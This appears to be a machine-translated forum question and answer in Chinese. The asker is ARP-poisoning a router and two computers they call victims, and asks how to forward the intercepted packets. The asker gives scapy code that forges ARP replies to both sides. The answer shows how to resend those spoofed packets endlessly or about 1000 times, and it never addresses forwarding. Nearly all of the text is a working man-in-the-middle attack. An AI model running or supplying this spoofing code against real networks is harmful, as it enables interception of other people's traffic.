做一个arp中毒,我正在连接1路由器和2个受害计算机。如何将数据包重新传输到目的地? (最好用scapy) 我有这个:
send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))
答案 0 :(得分:1)
审核Scapy's API documentation表明这些替代方案:
send
函数接受另外两个可能有用的参数:
loop
:如果不是0,则无休止地发送数据包。
inter
:在两个数据包之间等待的时间(以秒为单位)。
因此,执行以下语句将以无限循环方式发送数据包:
send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
inter=1, loop=1)
sr
函数接受3个可能有用的参数:
retry
:如果是肯定的,重新发送未答复的数据包的次数。如果是否定的,在放弃之前有多少连续未答复的探测器。只有负值才真正有用timeout
:在最后一个数据包发送后等待多长时间。通过 默认情况下,sr
将永远等待,当用户不再需要答案时,用户必须打断( Ctrl-C )。
inter
:每个发送数据包之间等待的时间(以秒为单位)。
由于预计不会收到发送的 ARP 数据包的答案,因此使用所需的值指定这些参数可以在有限的循环中发送数据包,这与之前的替代方案相反,后者强制执行无尽的。
在不利方面,由于资源分配给数据包接收和处理,这可能效率稍低,但这可以忽略不计。
因此,执行以下语句将以1000次迭代的有限循环发送数据包:
sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
retry=999, inter=1, timeout=1)